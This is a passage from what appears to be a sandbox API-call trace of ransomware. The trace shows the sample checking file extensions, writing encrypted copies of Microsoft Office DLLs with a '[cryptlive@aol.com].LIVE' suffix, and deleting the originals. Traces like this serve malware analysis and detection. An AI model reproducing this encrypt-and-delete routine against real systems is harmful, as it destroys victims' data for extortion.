(lpString1=".xlsx", lpString2="R.DLL") returned -1 [0142.477] lstrlenW (lpString=".ppt") returned 4 [0142.477] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.477] lstrlenW (lpString=".zip") returned 4 [0142.477] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.477] lstrlenW (lpString=".rar") returned 4 [0142.477] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.478] lstrlenW (lpString=".bz2") returned 4 [0142.478] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.478] lstrlenW (lpString=".7z") returned 3 [0142.478] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.478] lstrlenW (lpString=".dbf") returned 4 [0142.478] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.478] lstrlenW (lpString=".1cd") returned 4 [0142.478] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0142.478] lstrlenW (lpString=".jpg") returned 4 [0142.478] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.478] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0142.478] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0142.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.489] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=108416) returned 1 [0142.489] CloseHandle (hObject=0x3a4) returned 1 [0142.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 0x20 [0142.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.490] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.490] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.491] GetLastError () returned 0x0 [0142.491] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0142.498] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0142.501] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.501] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0142.501] SetEndOfFile (hFile=0x3ac) returned 1 [0142.501] CloseHandle (hObject=0x3ac) returned 1 [0142.502] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.502] SetEndOfFile (hFile=0x3a4) returned 1 [0142.505] CloseHandle (hObject=0x3a4) returned 1 [0142.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 1 [0142.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.515] lstrlenW (lpString=".doc") returned 4 [0142.515] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.515] lstrlenW (lpString=".docx") returned 5 [0142.515] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.515] lstrlenW (lpString=".pdf") returned 4 [0142.515] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.515] lstrlenW (lpString=".xls") returned 4 [0142.515] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.515] lstrlenW (lpString=".xlsx") returned 5 [0142.515] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.515] lstrlenW (lpString=".ppt") returned 4 [0142.515] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.515] lstrlenW (lpString=".zip") returned 4 [0142.515] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.515] lstrlenW (lpString=".rar") returned 4 [0142.515] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString=".bz2") returned 4 [0142.516] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString=".7z") returned 3 [0142.516] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.516] lstrlenW (lpString=".dbf") returned 4 [0142.516] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.516] lstrlenW (lpString=".1cd") returned 4 [0142.516] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.516] lstrlenW (lpString=".jpg") returned 4 [0142.516] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.516] lstrlenW (lpString=".doc") returned 4 [0142.516] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString=".docx") returned 5 [0142.516] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.516] lstrlenW (lpString=".pdf") returned 4 [0142.516] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString=".xls") returned 4 [0142.516] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.516] lstrlenW (lpString=".xlsx") returned 5 [0142.527] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.527] lstrlenW (lpString=".ppt") returned 4 [0142.527] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.527] lstrlenW (lpString=".zip") returned 4 [0142.527] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString=".rar") returned 4 [0142.527] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString=".bz2") returned 4 [0142.527] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString=".7z") returned 3 [0142.527] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.527] lstrlenW (lpString=".dbf") returned 4 [0142.527] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.527] lstrlenW (lpString=".1cd") returned 4 [0142.527] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0142.527] lstrlenW (lpString=".jpg") returned 4 [0142.527] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.527] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.527] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0142.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.528] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=591832) returned 1 [0142.528] CloseHandle (hObject=0x3a4) returned 1 [0142.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll")) returned 0x20 [0142.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString=".doc") returned 4 [0142.529] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString=".docx") returned 5 [0142.529] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0142.529] lstrlenW (lpString=".pdf") returned 4 [0142.529] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString=".xls") returned 4 [0142.529] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString=".xlsx") returned 5 [0142.529] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0142.529] lstrlenW (lpString=".ppt") returned 4 [0142.529] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString=".zip") returned 4 [0142.529] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString=".rar") returned 4 [0142.529] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.529] lstrlenW (lpString=".bz2") returned 4 [0142.529] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.529] lstrlenW (lpString=".7z") returned 3 [0142.529] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString=".dbf") returned 4 [0142.529] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString=".1cd") returned 4 [0142.529] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.529] lstrlenW (lpString=".jpg") returned 4 [0142.530] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString=".doc") returned 4 [0142.530] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString=".docx") returned 5 [0142.530] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0142.530] lstrlenW (lpString=".pdf") returned 4 [0142.530] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString=".xls") returned 4 [0142.530] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString=".xlsx") returned 5 [0142.530] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0142.530] lstrlenW (lpString=".ppt") returned 4 [0142.530] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString=".zip") returned 4 [0142.530] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString=".rar") returned 4 [0142.530] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.530] lstrlenW (lpString=".bz2") returned 4 [0142.530] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.530] lstrlenW (lpString=".7z") returned 3 [0142.530] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString=".dbf") returned 4 [0142.530] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString=".1cd") returned 4 [0142.530] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0142.530] lstrlenW (lpString=".jpg") returned 4 [0142.530] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.531] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.531] lstrlenW (lpString="MERES.DLL") returned 9 [0142.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.560] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1052592) returned 1 [0142.560] CloseHandle (hObject=0x1dc) returned 1 [0142.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll")) returned 0x20 [0142.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.560] lstrlenW (lpString=".doc") returned 4 [0142.560] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.560] lstrlenW (lpString=".docx") returned 5 [0142.560] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0142.560] lstrlenW (lpString=".pdf") returned 4 [0142.560] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.560] lstrlenW (lpString=".xls") returned 4 [0142.560] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.560] lstrlenW (lpString=".xlsx") returned 5 [0142.560] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0142.561] lstrlenW (lpString=".ppt") returned 4 [0142.561] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString=".zip") returned 4 [0142.561] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString=".rar") returned 4 [0142.561] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString=".bz2") returned 4 [0142.561] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.561] lstrlenW (lpString=".7z") returned 3 [0142.561] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString=".dbf") returned 4 [0142.561] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString=".1cd") returned 4 [0142.561] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString=".jpg") returned 4 [0142.561] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.561] lstrlenW (lpString=".doc") returned 4 [0142.561] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString=".docx") returned 5 [0142.561] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0142.561] lstrlenW (lpString=".pdf") returned 4 [0142.561] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString=".xls") returned 4 [0142.561] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString=".xlsx") returned 5 [0142.561] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0142.561] lstrlenW (lpString=".ppt") returned 4 [0142.561] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.562] lstrlenW (lpString=".zip") returned 4 [0142.562] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.562] lstrlenW (lpString=".rar") returned 4 [0142.562] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.562] lstrlenW (lpString=".bz2") returned 4 [0142.562] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.562] lstrlenW (lpString=".7z") returned 3 [0142.562] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.562] lstrlenW (lpString=".dbf") returned 4 [0142.562] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.562] lstrlenW (lpString=".1cd") returned 4 [0142.562] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0142.562] lstrlenW (lpString=".jpg") returned 4 [0142.562] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.562] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.562] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0142.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.563] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=446312) returned 1 [0142.563] CloseHandle (hObject=0x1dc) returned 1 [0142.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll")) returned 0x20 [0142.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.563] lstrlenW (lpString=".doc") returned 4 [0142.563] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.563] lstrlenW (lpString=".docx") returned 5 [0142.563] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0142.563] lstrlenW (lpString=".pdf") returned 4 [0142.564] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".xls") returned 4 [0142.564] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".xlsx") returned 5 [0142.564] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0142.564] lstrlenW (lpString=".ppt") returned 4 [0142.564] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString=".zip") returned 4 [0142.564] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".rar") returned 4 [0142.564] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".bz2") returned 4 [0142.564] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.564] lstrlenW (lpString=".7z") returned 3 [0142.564] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString=".dbf") returned 4 [0142.564] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString=".1cd") returned 4 [0142.564] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString=".jpg") returned 4 [0142.564] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.564] lstrlenW (lpString=".doc") returned 4 [0142.564] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".docx") returned 5 [0142.564] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0142.564] lstrlenW (lpString=".pdf") returned 4 [0142.564] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".xls") returned 4 [0142.564] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.564] lstrlenW (lpString=".xlsx") returned 5 [0142.565] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0142.565] lstrlenW (lpString=".ppt") returned 4 [0142.565] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.565] lstrlenW (lpString=".zip") returned 4 [0142.565] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.565] lstrlenW (lpString=".rar") returned 4 [0142.565] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.565] lstrlenW 